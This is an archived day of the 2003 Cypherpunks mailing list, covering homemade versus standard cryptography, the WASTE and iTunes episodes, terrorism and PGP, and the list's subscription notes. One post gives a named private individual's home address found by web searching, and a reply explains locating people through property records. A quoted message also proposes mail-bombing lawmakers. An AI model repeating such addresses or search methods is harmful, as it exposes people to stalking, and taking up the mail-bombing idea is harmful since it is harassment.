From jal at jal.org  Sun Jun  1 10:20:12 2003
From: jal at jal.org (Jamie Lawrence)
Date: Sun, 1 Jun 2003 12:20:12 -0500
Subject: Apple's "Rendezvous" bites "Itunes"
In-Reply-To: <20030529204819.A18619@cluebot.com>
References: <3ED61A54.743CAA38@cdc.gov>
  <20030529172325.GI4093@jal.clueinc.net>
  <20030529204819.A18619@cluebot.com>
Message-ID: <20030601172012.GK4093@jal.clueinc.net>

On Thu, 29 May 2003, Declan McCullagh wrote:

> On Thu, May 29, 2003 at 12:23:25PM -0500, Jamie Lawrence wrote:
> > If you bought a 'product' from a closed system and didn't take self 
> > help measures, why are you surprised when that closed system changes?
> > 
> > Really, there's no story here.
> 
> That's true at one level -- it was expected when security is breached
> (or appears to have been breached; I haven't looked at the details myself).

Not sure that's I'd call it a security breach - it is a design
change. One that is actually quite easy to work around,
although Apple's intention is not really hurt by that fact.
 
> But then again when you have millions of people affected, that's generally
> a solid news story, in my experience.

Good point. I'm not a journalist, so my first take on things doesn't
tend to run in that direction.

> -Declan

-j

-- 
Jamie Lawrence                                        jal at jal.org
"They [RIAA,MPAA] are trying to invent a new crime:
interference with a business model."
   - Bruce Schneier




From sunder at sunder.net  Sun Jun  1 09:23:32 2003
From: sunder at sunder.net (Sunder)
Date: Sun, 1 Jun 2003 12:23:32 -0400 (edt)
Subject: Nigerian Spammers Using TDD/TTY Telephone Relay Service
In-Reply-To: <C70F0E86-904B-11D7-A382-000A956B4C74@got.net>
Message-ID: <Pine.BSO.4.21.0306011221290.4110-100000@anon7.arachelian.com>

I'm actually having fun with these fuckers.  Most of their spams contain a
request for a contact.  So I give them the phone number of the FBI, CIA,
WhiteHouse, and other agencies as a call back number with a note saying
"Yes, I'd love to help you, please call me back at _____ as soon as
possible!"

----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :25Kliters anthrax, 38K liters botulinum toxin, 500 tons of   /|\
  \|/  :sarin, mustard and VX gas, mobile bio-weapons labs, nukular /\|/\
<--*-->:weapons.. Reasons for war on Iraq - GWB 2003-01-28 speech.  \/|\/
  /|\  :Found to date: 0.  Cost of war: $800,000,000,000 USD.        \|/
 + v + :           The look on Sadam's face - priceless!       
--------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------

On Tue, 27 May 2003, Tim May wrote:

> Perhaps rather than retaliating against spammers, as many here have 
> written about, we should be talking about mail-bombing and spam-bombing 
> any politician or lawmaker who supports anti-spam legislation.




From smb at research.att.com  Sun Jun  1 09:59:53 2003
From: smb at research.att.com (Steven M. Bellovin)
Date: Sun, 01 Jun 2003 12:59:53 -0400
Subject: [spam] Re: Nullsoft's WASTE communication system 
Message-ID: <20030601165953.6DAB57B4D@berkshire.research.att.com>

In message <DBEJLLBKGOFDEGENOKOKCEHHCLAA.johnbr at undefined.com>, "John Brothers"
 writes:
>
>> Any license that you may
>> believe you acquired with the Software is void, revoked and terminated.
>
>
>Can you void and/or revoke the GPL?  

It doesn't matter if the GPL statement wasn't inserted by the real 
owner of the work.  Note that the employees almost certainly do not own 
the "work for hire" -- it would be Nullsoft/AOL Time Warner that does.

		--Steve Bellovin, http://www.research.att.com/~smb (me)
		http://www.wilyhacker.com (2nd edition of "Firewalls" book)




From ekr at rtfm.com  Sun Jun  1 15:08:56 2003
From: ekr at rtfm.com (Eric Rescorla)
Date: 01 Jun 2003 15:08:56 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <A4628A7C27BF0D48847FD4AB8536731D1D0B59@blinky.mobile-mind.com>
References: <A4628A7C27BF0D48847FD4AB8536731D1D0B59@blinky.mobile-mind.com>
Message-ID: <kjd6hxzc07.fsf@romeo.rtfm.com>

"Scott Guthery" <sguthery at mobile-mind.com> writes:
> When I drill down on the many pontifications made by computer
> security and cryptography experts all I find is given wisdom. Maybe 
> the reason that folks roll their own is because as far as they can see 
> that's what everyone does.  Roll your own then whip out your dick and 
> start swinging around just like the experts.
>  
> Perhaps I'm not looking in the right places. I wade through papers from 
> the various academic cryptography groups, I hit the bibliographies 
> regularly, I watch the newgroups, and I follow the patent literature.  After 
> you blow the smoke away, there's always an "assume a can opener" 
> assumption. The only thing that really differentiates the experts from the 
> naifs is the amount of smoke.

Hmm.... I'd characterize the situation a little differently.

There are a number of standard building blocks (3DES, AES, RSA, HMAC,
SSL, S/MIME, etc.). While none of these building blocks are known
to be secure, we know that:

(1) They have withstood a lot of concerted attempts to attack them.
(2) Prior attempts at building such systems revealed a lot of problems
    which these building blocks are designed to avoid.
(3) People who attempt to design new systems generally make some
    of the mistakes from (2) and so generally design a system inferior
    to the standard ones.

We're slowly proving the correctness of these building blocks and
replacing the weaker ones with others that rely upon tighter
proofs (e.g. OAEP for PKCS-1) but it's a long process. However, I don't
think it's helpful to design a new system that doesn't have any 
obvious advantages over one of the standard systems.

-Ekr


-- 
[Eric Rescorla                                   ekr at rtfm.com]
                http://www.rtfm.com/

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From ekr at rtfm.com  Sun Jun  1 16:33:10 2003
From: ekr at rtfm.com (Eric Rescorla)
Date: 01 Jun 2003 16:33:10 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <A4628A7C27BF0D48847FD4AB8536731D1D0B5E@blinky.mobile-mind.com>
References: <A4628A7C27BF0D48847FD4AB8536731D1D0B5E@blinky.mobile-mind.com>
Message-ID: <kj8yslz83t.fsf@romeo.rtfm.com>

"Scott Guthery" <sguthery at mobile-mind.com> writes:
> Suppose.  Just suppose.  That you figured out a factoring
> algorithm that was polynomial.  What would you do?  Would
> you post it immediately to cypherpunks?    Well, OK, maybe
> you would but not everyone would.  In fact some might
> even imagine they could turn a sou or two.  And you can
> bet the buyer wouldn't be doing any posting. With apologies
> to Bon Ami, "Hasn't cracked yet" is not a compelling security 
> story.

It's vastly better than "just designed last week by someone
who has no relevant experience"

-Ekr

-- 
[Eric Rescorla                                   ekr at rtfm.com]
                http://www.rtfm.com/

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From rsalz at datapower.com  Sun Jun  1 15:16:04 2003
From: rsalz at datapower.com (Rich Salz)
Date: Sun, 1 Jun 2003 18:16:04 -0400 (EDT)
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <kjd6hxzc07.fsf@romeo.rtfm.com>
Message-ID: <Pine.LNX.4.44L0.0306011813390.14510-100000@smtp.datapower.com>

> There are a number of standard building blocks (3DES, AES, RSA, HMAC,
> SSL, S/MIME, etc.). While none of these building blocks are known
> to be secure ..

So for the well-meaning naif, a literature search should result in "no
news is good news."  Put more plainly, if you looked up hash and didn't
find news of a SHA break, then you should know to use SHA.  That assumes
you've heard of SHA in the first place.

Perhaps a few "best practices" papers are in order.  They might help
the secure (distributed) computing field a great deal.
	/r$
--
Rich Salz                     Chief Security Architect
DataPower Technology          http://www.datapower.com
XS40 XML Security Gateway     http://www.datapower.com/products/xs40.html




From sguthery at mobile-mind.com  Sun Jun  1 16:05:44 2003
From: sguthery at mobile-mind.com (Scott Guthery)
Date: Sun, 1 Jun 2003 19:05:44 -0400
Subject: Maybe It's Snake Oil All the Way Down
Message-ID: <A4628A7C27BF0D48847FD4AB8536731D1D0B5E@blinky.mobile-mind.com>

Suppose.  Just suppose.  That you figured out a factoring
algorithm that was polynomial.  What would you do?  Would
you post it immediately to cypherpunks?    Well, OK, maybe
you would but not everyone would.  In fact some might
even imagine they could turn a sou or two.  And you can
bet the buyer wouldn't be doing any posting. With apologies
to Bon Ami, "Hasn't cracked yet" is not a compelling security 
story.
 
Cheers, Scott

	-----Original Message----- 
	From: Rich Salz [mailto:rsalz at datapower.com] 
	Sent: Sun 6/1/2003 6:16 PM 
	To: Eric Rescorla 
	Cc: Scott Guthery; cypherpunks; cryptography at metzdowd.com 
	Subject: Re: Maybe It's Snake Oil All the Way Down
	
	

	> There are a number of standard building blocks (3DES, AES, RSA, HMAC,
	> SSL, S/MIME, etc.). While none of these building blocks are known
	> to be secure ..
	
	So for the well-meaning naif, a literature search should result in "no
	news is good news."  Put more plainly, if you looked up hash and didn't
	find news of a SHA break, then you should know to use SHA.  That assumes
	you've heard of SHA in the first place.
	
	Perhaps a few "best practices" papers are in order.  They might help
	the secure (distributed) computing field a great deal.
	        /r$
	--
	Rich Salz                     Chief Security Architect
	DataPower Technology          http://www.datapower.com
	XS40 XML Security Gateway     http://www.datapower.com/products/xs40.html




From timcmay at got.net  Sun Jun  1 19:13:28 2003
From: timcmay at got.net (Tim May)
Date: Sun, 1 Jun 2003 19:13:28 -0700
Subject: The Streisand imagecriminal lives 2-3 parcels away from me
Message-ID: <CC5D0960-949F-11D7-88B5-000A956B4C74@got.net>

Ken Adelman, the retired gazillionaire who has gained new fame as a  
photographer of the California coastline, lives a couple of parcels  
from me, perhaps half a kilometer.

For a while now, I'd  wondered who owned the heliport that had  
helicopters departing and arriving a few times a week (that I knew  
of...could have been more). I couldn't actually see the heliport, due  
to some ridges and some trees, but I could see the choppers banking  
over my hilltop and disappearing behind a ridge.

Well, today I did some Googling on Ken Adelman, who I already knew was  
a Corralitos resident. I had no idea where in my little community he  
lived, only that he had California's largest private solar cell array  
(and had gotten into yet another controversy, with PG&E, our power  
monopoly, when he proposed to connect his array to the grid and be paid  
for the power he _added_ to the grid, as per official law and PG&E  
policy...it seems PG&E really doesn't _want_ the sheeple generating  
power, though they tolerate tiny, hobbyist generators...but Adelman['s  
array was an actual competitor, and would cost them money, so they  
tried to nix it...another story).

In reading about the controversy over Streisand's property, I saw that  
Adelman is using his own helicopter. A bell went off in my head and I  
Googled to find his home address.

His address in the phone book is unlisted, but he gave his home address  
in one or more of his ventures, and so up it popped in a Google search  
on his name: 1365 Meadowridge Rd., the road just before mine (Allan  
Lane) off of Brown's Valley Road. My address is 427 Allan Lane.  
Entering these into Yahoo or Mapquest shows how close our properties  
are.

Here's one such street map:

<http://www.mapquest.com/maps/ 
map.adp?zoom=8&mapdata=xU4YXdELrnBvmOFq2kcGOEQi7CbOldSJXG%2fHyl1%2fRq6Pe 
4iyA3NaeyFOzwHt%2f59dLuXHRyy%2bIQSsOdYkttX8p5XZaw8IQC2MsQha1yRfzwQEdkcrT 
BRm4kENrZ2%2fgc6RCtIF5Yq1kQSRiLgSE%2bPL3SI8WloPMbT25qbIYzAmfr76TkHJ2RAZe 
809GEwt7Utfq95yhGw%2f8r6J3b%2bdl5aPdiUdFaOV62t2BuHrlX7W%2b2EFfsGA%2be0r8 
px2WBRa4HFSUfzgxZyva%2bgXBlqmO2q%2fUeDYZgUuJCBKcXpXJ2LYIj3OCGwHpqJO0Q%3d 
%3d>

His property is about where the first "d" in Meadowridge Rd. appears.  
My property is at the end of Allan Lane.

Obviously, then, it is his helicopter I've been seeing flying over to  
about that spot. (Tiny chance it's someone else's...)

BTW, I don't think this Ken Adelman, who is now 39-40, is the same Ken  
Adelman who advised Reagan in the 1980s on arms control--the D.C.-based  
Adelman was graying and balding at least 15 years ago, so I doubt  
they're the same person. But I haven't done enough Googling, nor have I  
found images of the Corralitos version, to be sure. More research is  
needed.

--Tim May
"That the said Constitution shall never be construed to authorize  
Congress to infringe the just liberty of the press or the rights of  
conscience; or to prevent the people of the United States who are  
peaceable citizens from keeping their own arms." --Samuel Adams




From mv at cdc.gov  Sun Jun  1 19:21:41 2003
From: mv at cdc.gov (Major Variola (ret))
Date: Sun, 01 Jun 2003 19:21:41 -0700
Subject: "PGP Encryption Proves Powerful"
Message-ID: <3EDAB4B5.3070505@cdc.gov>

    At 11:18 AM 6/1/03 -0400, Ian Grigg wrote:
 >There is a reason that the AK47 is the weapon of
 >choice:  it is an extraordinarily simple weapon.
 >Training is probably about half the requirements
 >of say the M16.  That makes a difference, much
 >more so than, say, the increased accuracy of the
 >M16!

Got evidence?  The benefits of the AK involve
the *weapon's* robustness, not its user interface.
Also, a 7.62 beats a 5+change mm any day.

 >Phsycologically, it makes us unhappy to realise
 >that the 911 attackers were actually quite simple,
 >so we don't.  We build up Osama bin Laden to be
 >a mastermind, a sort of James Bond-qualified evil
 >guy who constructs plans of insidious cunning.

OBL is at least 2 standard deviations smarter than
Bush, and probably one more than Rummy too. 
Thinking otherwise is buying into the "madman" propoganda.

 >All this is a long winded way of saying your
 >average terrorist is much more like your grandma
 >when it comes to tech.  Highly competant in the
 >kitchen, but can't send an email to save herself.

Except that post sat-phone, the Base has plenty
of motivation to train well in opsec.  Or catch
a tomahawk.  You working for Fox News these
days?   Or just wishful thinking?




From mv at cdc.gov  Sun Jun  1 19:28:45 2003
From: mv at cdc.gov (Major Variola (ret))
Date: Sun, 01 Jun 2003 19:28:45 -0700
Subject: Nullsoft's WASTE communication system
Message-ID: <3EDAB65D.7030801@cdc.gov>

At 01:09 PM 5/30/03 -0400, John Brothers wrote:
 >
 >> Any license that you may
 >> believe you acquired with the Software is void, revoked and terminated.
 >
 >Can you void and/or revoke the GPL?    

Who cares?  There is *no* obligation that you check back with Nullsoft
to re-read their terms.  They can whine about licenses all they want,
but no downloader has any need to check back, or change their behavior.

E.g., Realmedia may have pulled an early Free version their .ram 
generator, but its out there.

     I think people have not quite gotten their hands around the
speed at which information can be disseminated online.
-Monica Lewinsky, LATimes 9 may 01




From adam at homeport.org  Sun Jun  1 16:54:45 2003
From: adam at homeport.org (Adam Shostack)
Date: Sun, 1 Jun 2003 19:54:45 -0400
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <A4628A7C27BF0D48847FD4AB8536731D1D0B5E@blinky.mobile-mind.
  com>
References: <A4628A7C27BF0D48847FD4AB8536731D1D0B5E@blinky.mobile-mind.c
  om>
Message-ID: <20030601235444.GA79867@lightship.internal.homeport.org>

The assumption that "having cracked a cipher" leads to "can make lots
of money from the break" is one held mostly by those who have never
attacked real systems, which have evolved with lots of checks and
balances.

The very best way to make money from cracking ciphers seems to be to
patent the break, and the fixes, and then consult to those who use the
cipher, because they need your expertise to fix their systems.  P. may
have a patent on this method.

Adam


On Sun, Jun 01, 2003 at 07:05:44PM -0400, Scott Guthery wrote:
| Suppose.  Just suppose.  That you figured out a factoring
| algorithm that was polynomial.  What would you do?  Would
| you post it immediately to cypherpunks?    Well, OK, maybe
| you would but not everyone would.  In fact some might
| even imagine they could turn a sou or two.  And you can
| bet the buyer wouldn't be doing any posting. With apologies
| to Bon Ami, "Hasn't cracked yet" is not a compelling security 
| story.
|  
| Cheers, Scott
| 
| 	-----Original Message----- 
| 	From: Rich Salz [mailto:rsalz at datapower.com] 
| 	Sent: Sun 6/1/2003 6:16 PM 
| 	To: Eric Rescorla 
| 	Cc: Scott Guthery; cypherpunks; cryptography at metzdowd.com 
| 	Subject: Re: Maybe It's Snake Oil All the Way Down
| 	
| 	
| 
| 	> There are a number of standard building blocks (3DES, AES, RSA, HMAC,
| 	> SSL, S/MIME, etc.). While none of these building blocks are known
| 	> to be secure ..
| 	
| 	So for the well-meaning naif, a literature search should result in "no
| 	news is good news."  Put more plainly, if you looked up hash and didn't
| 	find news of a SHA break, then you should know to use SHA.  That assumes
| 	you've heard of SHA in the first place.
| 	
| 	Perhaps a few "best practices" papers are in order.  They might help
| 	the secure (distributed) computing field a great deal.
| 	        /r$
| 	--
| 	Rich Salz                     Chief Security Architect
| 	DataPower Technology          http://www.datapower.com
| 	XS40 XML Security Gateway     http://www.datapower.com/products/xs40.html

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume




From cpunk at lne.com  Sun Jun  1 20:00:00 2003
From: cpunk at lne.com (cpunk at lne.com)
Date: Sun, 1 Jun 2003 20:00:00 -0700
Subject: Cypherpunks List Info
Message-ID: <200306020300.h52300QX009585@gw.lne.com>

Cypherpunks Mailing List Information

Last updated: Sep 12, 2002

This message is also available at http://www.lne.com/cpunk

Instructions on unsubscribing from the list can be found below.


0. Introduction

The Cypherpunks mailing list is a mailing list for discussing cryptography
and its effect on society.  It is not a moderated list (but see exceptions
below) and the list operators are not responsible for the list content.

Cypherpunks is a distributed mailing list.  A subscriber can subscribe to
one node of the list and thereby participate on the full list.  Each node
(called a "Cypherpunks Distributed Remailer", although they are not
related to anonymous remailers) exchanges messages with the other nodes
in addition to sending messages to its subscribers.  A message posted
to one node will be received by the list subscribers on the other nodes,
and vice-versa.

1. Filtering

The various CDRs follow different policies on filtering spam and to a
lesser extent on modifying messages that go to/from their subscribers.
Filtering is done, on nodes that do it, to reduce the huge amount of
spam that the cypherpunks list is subjected to.

There are three basic flavors of filtering CDRs: "raw", which send all
messages to their subscribers. "cooked" CDRs try to eliminate the spam
on that's on the regular list by automatically sending only messages
that are from cypherpunks list subscribers (on any CDR) or people who
are replying to list messages.  Finally there are moderated lists, where
a human moderator decides which messages from the raw list to pass on
to subscribers.

2. Message Modification

Message modification policy indicates what modifications, if any, beyond
what is needed to operate the CDR are done (most CDRs add a tracking
X-loop header on mail posted to their subscribers to prevent mail loops).
Message modification usually happens on mail going in or out to each CDR's
subscribers. CDRs should not modify mail that they pass from one CDR
to the next, but some of them do, and others undo those modifications.

3. Privacy

Privacy policy indicates if the list will allow anyone ("open"), or only
list members, or no one ("private") , to retrieve the subscribers list.
Note that if you post, being on a "private" list doesn't mean much,
since your address is now out there.   It's really only useful for
keeping spammers from harvesting addresses from the list software.

Digest mode indicates that the CDR supports digest mode, which is where
the posts are batched up into a few large emails.  Nodes that support
only digest mode are noted.

4. Anonymous posting

Cypherpunks encourages anonymous posting.

You can use an anonymous remailer:
http://www.andrebacard.com/remail.html
http://anon.efga.org/Remailers
http://www.gilc.org/speech/anonymous/remailer.html

or you can send posts to the list via cpunks_anon at einstein.ssz.com and
your mail's headers will be stripped before posting.  Note that this
doesn't provide complete anonymity since the receiving site will still
have log file entries showing the source of the mail (or you have to
trust that they delete them).  You also will be 'sharing' a reputation
with the other entities that post through this alias, and some of them
are spammers, so some subscribers will have this alias filtered.

5. Unsubscribing

Unsubscribing from the cypherpunks list:
Since the list is run from a number of different CDRs, you have to
figure out which CDR you are subscribed to.  If you don't remember and
can't figure it out from the mail headers (hint: the top Received: line
should tell you), the easiest way to unsubscribe is to send unsubscribe
messages to all the CDRs listed below.

How to figure out which CDR you are subscribed to:

Get your mail client to show all the headers (Microsoft calls this
"internet headers").  Look for the Sender or X-loop headers.  The Sender
will say something like "Sender: owner-cypherpunks at lne.com".  The X-loop
line will say something like "X-Loop: cypherpunks at lne.com".  Both of
these inticate that you are subscribed to the lne.com CDR.   If you were
subscribed to the algebra CDR, they would have algebra.com in them.
Once you have figured out which CDR you're subscribed to, look in the
table below to find that CDRs unsubscribe instructions.

6. Lunatics, spammers and nut-cases

"I'm subscribed to a filtering CDR yet I still see lots of junk postings".
At this writing there are a few sociopaths on the cypherpunks list who
are abusing the lists openness by dumping reams of propaganda on the list.
The distinction between a spammer and a subscriber is nearly always very
clear, but the dictinction between a subscriber who is abusing the list
by posting reams of propaganda and a subscriber who is making lots of
controversial posts is not clear.  Therefore, we tolerate the crap.
Subscribers with a low crap tolerance should check out mail filters.
Procmail is a good one, although it works on Unix and Unix-like systems
only.  Eudora also has a capacity for filtering mail, as do many other
mail readers.  An example procmail recipie is below, you will of
course want to make your own decisions on which (ab)users to filter.

# mailing lists:
# filter all cypherpunks mail into its own cypherspool folder, discarding
# mail from loons.  All CDRs set their From: line to 'owner-cypherpunks'.
# /dev/null is unix for the trash can.
:0
* ^From.*owner-cypherpunks at .*
{
    :0:
    * (^From:.*ravage at ssz\.com.*|\
    ^From:.*jchoate at dev.tivoli.com.*|\
    ^From:.*mattd at useoz.com|\
    ^From:.*proffr11 at bigpond.com|\
    ^From:.*jei at cc.hut.fi)
	/dev/null

    :0:
    cypherspool
}


7. List of current CDRs


All commands are sent in the body of mail unless otherwise noted.
---------------------------------------------------------------------------
Algebra:

Operator:
Subscription:     "subscribe cypherpunks" to majordomo at algebra.com
Unsubscription:   "unsubscribe cypherpunks" to majordomo at algebra.com
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Posting address:  cypherpunks at algebra.com
Filtering policy: raw
Message Modification policy:  no modification
Privacy policy: ???
Info:   ???

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CCC:

Operator:         drt at un.bewaff.net
Subscription:     "subscribe [password of your choice]" to 
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Web site:         http://koeln.ccc.de/mailman/listinfo/cypherpunks
Posting address:  cypherpunks at koeln.ccc.de
Filtering policy: This specific node drops messages bigger than 32k and
                  every message with more than 17 recipients or just a line
                  containing "subscribe" or "unsubscribe" in the subject. 
Digest mode:      this node is digest-only
NNTP:             news://koeln.ccc.de/cbone.ml.cypherpunks
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Privacy policy: ???

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From nobody at dizum.com  Sun Jun  1 13:20:06 2003
From: nobody at dizum.com (Nomen Nescio)
Date: Sun,  1 Jun 2003 22:20:06 +0200 (CEST)
Subject: web apps with large volumes of bidirectional http traffic
Message-ID: <96db83a7d4e5f75a202e8e2ff7030d37@dizum.com>

Ryan Lackey writes:

> I need to find some relatively widely deployed applications which have
> frequent user interactions (rapid clicking on links, from as large a
> population of links as possible, and also form filling and such).
>
> (it should be pretty obvious what this is for)

It's not, really.  Maybe some kind of cover traffic for an underlying
hidden data stream?

Or maybe you will create a client which mimics a human person, and
sends information by choosing what to click on?  Sounds like a pretty
low-bandwidth channel.


> I'd like:
>
> 0) *rapid*/frequent user interactions; fast clicking on things (like every
> second, no more than 5 seconds)
>
> 1) "sticky"...long interactions with a given site (on the order of hours)
> (also all links need to be under the same url/same server)

These two don't make much sense together: someone is going to sit
there, interacting with a server for hours, clicking every second?
That sounds more like a job than something people would do voluntarily.
You're either going to need to accept a much lower click rate, or else
a much shorter connection time.

Okay, maybe one of the online fantasy games services like EverQuest?
I hear people get addicted to those and spend hours on them, but I
think they do a lot of typing rather than mouse clicks.  Or one of the
shoot-em-ups?  Those probably use the mouse a lot more.  They aren't
really "web applications" though.  Does it really have to be a web app?

> So far, the best ideas:
> 1) Porn
> 2) Mailing lists with lots of internal links (next, reply, etc.)
> 3) Sites with search engines with lots of linked data (encyclopedia,
> etc.)
> 4) html games (or flash, maybe) -- either imagemaps, or just tables,
> things like chess, or puzzles, or whatever

Most of those won't satisfy your click rate and connect time goals.

> I'd definitely appreciate any suggestions on possible web apps which
> meet these criteria; reply to lists or ryan at venona.com.
>
> I'll post when it's ready.

Maybe you could give some more clues...

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From declan at well.com  Sun Jun  1 20:51:57 2003
From: declan at well.com (Declan McCullagh)
Date: Sun, 1 Jun 2003 23:51:57 -0400
Subject: BIS Disk Full
In-Reply-To: <20030531203426.F17E29D332@smtp.infonex.com>; from
  anonymous@anonymizer.com on Sat, May 31, 2003 at 01:34:00PM -0700
References: <20030531203426.F17E29D332@smtp.infonex.com>
Message-ID: <20030601235157.A27454@cluebot.com>

URL?

Is it this?
http://snap.bis.doc.gov/

Email to crypt at bis does not bounce, at least not immediately.

-Declan

On Sat, May 31, 2003 at 01:34:00PM -0700, Anonymous wrote:
> I tried to notify the BIS that I was posting some code and I got this
> error back:
> > <web_site at bis.doc.gov>:
> > 170.110.31.61 failed after I sent the message.
> > Remote host said: Can't create transcript file ./xfh4VJhUa02511: No space left on device
> >
> > <crypt at bis.doc.gov>:
> > 170.110.31.61 failed after I sent the message.
> > Remote host said: Can't create transcript file ./xfh4VJhVC02512: No space left on device
> Are our rights suspended until they get their system fixed? :-)




From ravage at einstein.ssz.com  Mon Jun  2 04:53:39 2003
From: ravage at einstein.ssz.com (Jim Choate)
Date: Mon, 2 Jun 2003 06:53:39 -0500 (CDT)
Subject: Kazaa, Brilliant move will spanner MPAA, RIAA (fwd)
Message-ID: <Pine.LNX.4.33.0306020653250.1252-100000@einstein.ssz.com>

http://www.theinquirer.net/?article=9801


 --
    ____________________________________________________________________

      We are all interested in the future for that is where you and I
      are going to spend the rest of our lives.

                              Criswell, "Plan 9 from Outer Space"

      ravage at ssz.com                            jchoate at open-forge.org
      www.ssz.com                               www.open-forge.org
    --------------------------------------------------------------------




From schear at attbi.com  Mon Jun  2 08:15:59 2003
From: schear at attbi.com (Steve Schear)
Date: Mon, 02 Jun 2003 08:15:59 -0700
Subject: Patriot Act humor
Message-ID: <5.2.1.1.0.20030602081504.0425b400@mail.attbi.com>

Attorney General John Ashcroft is visiting an elementary school.
After the typical civics presentation to the class, he announces,
"All right boys and girls, you can ask me questions now."

A young boy named Bobby raises his hand and says, I have three
questions, Mr. Ashcroft:

1. How did Bush win the election with fewer votes than Gore?

2. Why are you using the USA Patriot Act to limit Americans civil
      liberties?

3. Why hasn't the U.S. caught Osama bin Laden?

Just then, the bell sounds and all the kids run out to the playground.
Fifteen minutes later the kids return to class, and Ashcroft says,
"I'm sorry, we were interrupted by the bell. Now, who has a
question to ask me?"

A young girl named Suzy raises her hand and says: I have five
questions, Mr. Ashcroft:

1. How did Bush win the election with fewer votes than Gore?

2. Why are you using the USA Patriot Act to limit Americans civil
       liberties?

3. Why hasn't the U.S. caught Osama bin Laden?

4. Why did the bell go off 20 minutes early?

5. Where's Bobby?


"A Jobless Recovery is like a Breadless Sandwich."
-- Steve Schear 




From hseaver at cybershamanix.com  Mon Jun  2 07:07:54 2003
From: hseaver at cybershamanix.com (Harmon Seaver)
Date: Mon, 2 Jun 2003 09:07:54 -0500
Subject: The Streisand imagecriminal lives 2-3 parcels away from me
In-Reply-To: <CC5D0960-949F-11D7-88B5-000A956B4C74@got.net>
References: <CC5D0960-949F-11D7-88B5-000A956B4C74@got.net>
Message-ID: <20030602140754.GB20933@cybershamanix.com>

On Sun, Jun 01, 2003 at 07:13:28PM -0700, Tim May wrote:
> 
> His address in the phone book is unlisted, but he gave his home address  
> in one or more of his ventures, and so up it popped in a Google search  
> on his name: 1365 Meadowridge Rd., the road just before mine (Allan  
> Lane) off of Brown's Valley Road. My address is 427 Allan Lane.  
> Entering these into Yahoo or Mapquest shows how close our properties  
> are.

   Isn't your local assessor's database online? Here in WI, at least for most of
it, I can just look up someones name and find *all* the property they own. Or
conversely, look up an address and find out who owns it, also what they paid for
it, tax assessment, etc. Some properties, of course, are owned by corporations
or LLC or partnerships so you have to also go to the state databases to find out
who the people are behind the LLC or whatever. 



-- 
Harmon Seaver	
CyberShamanix
http://www.cybershamanix.com




From ericm at lne.com  Mon Jun  2 09:24:29 2003
From: ericm at lne.com (Eric Murray)
Date: Mon, 2 Jun 2003 09:24:29 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <3EDB5A82.5B9C1073@systemics.com>; from iang@systemics.com on Mon, Jun 02, 2003 at 10:09:06AM -0400
References: <A4628A7C27BF0D48847FD4AB8536731D1D0B59@blinky.mobile-mind.c <kjd6hxzc07.fsf@romeo.rtfm.com> <3EDB5A82.5B9C1073@systemics.com>
Message-ID: <20030602092429.A13213@slack.lne.com>

On Mon, Jun 02, 2003 at 10:09:06AM -0400, Ian Grigg wrote:
> A lot of the tools and blocks are too hard to
> understand.  "Inaccessible" might be the proper
> term.  This might apply to, for example, SSL,
> and more so to IPSec.  These have a lower survival
> rate, simply because as developers look at them,
> their eyes glaze over and they move on.  I heard
> one guy say that "you can read SSH in an hour
> and understand what's going on, but not SSL."

Some who can't understand SSL won't be able to do better.
Especially since there is at least one very good book on it.


> Also, a lot of cryptosystems are put together
> by committees.  SSH was originally put together
> by one guy.  He did the lot.

The original SSH protocol had holes so large that
you could drive a truck through them.   Tatu posted
it to various lists and got lots of advice on
how to clean it up.  It still had holes that were being
found years later.

SSLv2, which was also designed by an
individual, also had major flaws.  And that was the
second cut!  I haven't seen v1, maybe Eric can
shed some light on how bad it was.

Peer review is not "design by comittie".  It is
the way to get strong protocols.  When I have to roll my
own (usually because its working in a limited environment
and I don't have a choice)
I get it reviewed.  The protocol designer usually misses
something in his own protocol.

> I'd say that conditions for Internet crypto system
> success would include:


0. USE EXISTING SECURITY PRIMITIVES

which allows you to

>   4.  Concentrate on the application, not the crypto.

Rolling your own crypto is where 95% of crypto apps fail...
the developers either take too much time on it to the detrimient
of the useability because it is the sexy thing to work on, or
they write an insecure algorithm/protocol/system.    Usually
they do both!


Eric


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From iang at systemics.com  Mon Jun  2 07:09:06 2003
From: iang at systemics.com (Ian Grigg)
Date: Mon, 02 Jun 2003 10:09:06 -0400
Subject: Maybe It's Snake Oil All the Way Down
References: <A4628A7C27BF0D48847FD4AB8536731D1D0B59@blinky.mobile-mind.com> <kjd6hxzc07.fsf@romeo.rtfm.com>
Message-ID: <3EDB5A82.5B9C1073@systemics.com>


A lot of the tools and blocks are too hard to
understand.  "Inaccessible" might be the proper
term.  This might apply to, for example, SSL,
and more so to IPSec.  These have a lower survival
rate, simply because as developers look at them,
their eyes glaze over and they move on.  I heard
one guy say that "you can read SSH in an hour
and understand what's going on, but not SSL."

(This was the point raised by the chap who
recently wanted to role his own from a pouch
of fine cut RSA.)

Also, a lot of cryptosystems are put together
by committees.  SSH was originally put together
by one guy.  He did the lot.  Allegedly, a fairly
grotty protocol with a number of weakneses, but
it was there and up and running.  And SSH-2 is
apparantly nice, elegant and easy to understand,
now that it has been fixed up.

(SSH is the only really successful net crypto
system, IMHO, in that it actually went into its
market and made a mark.  It's the only cryptosystem
that is as easy to use as its non-crypto competitor,
telnet.  It's the only one where people switch and
never return.)

PGP was also mildly successful, and was done by
one guy, PRZ.  The vision was very clear.  All others
had to do was to fix the bugs...  Sadly, free versions
never quite made the jump into GUI mail clients, so
widespread success was denied to it.

I'd say that conditions for Internet crypto system
success would include:

  1.  One guy, or one very small, very close team.

  2.  The whole application is rolled out, ready to use.

  3.  Crypto is own-rolled, tuned to the application.

  4.  Concentrate on the application, not the crypto.

  5.  The application meets a ready need, and

  6.  The app is easy to use.

  7.  User doesn't need to ask anyone's permission.

These aren't very strong indicators of success, if
only because there have been so few fires, for so
much smoke.

Counterexamples are speakfreely, which was again
one lone hacker (John Walker?).  Maybe it stalled
on latter points.  (One doesn't hear much about
crypto phones these days.  Was this really a need?)

My own "interested" protocol (SOX, done by Gary H,
not me) trys to meet the above criterion and hasn't
succeeded, like all other money protocols.  I leave
speculation on why success is still just around the
corner to others :-)



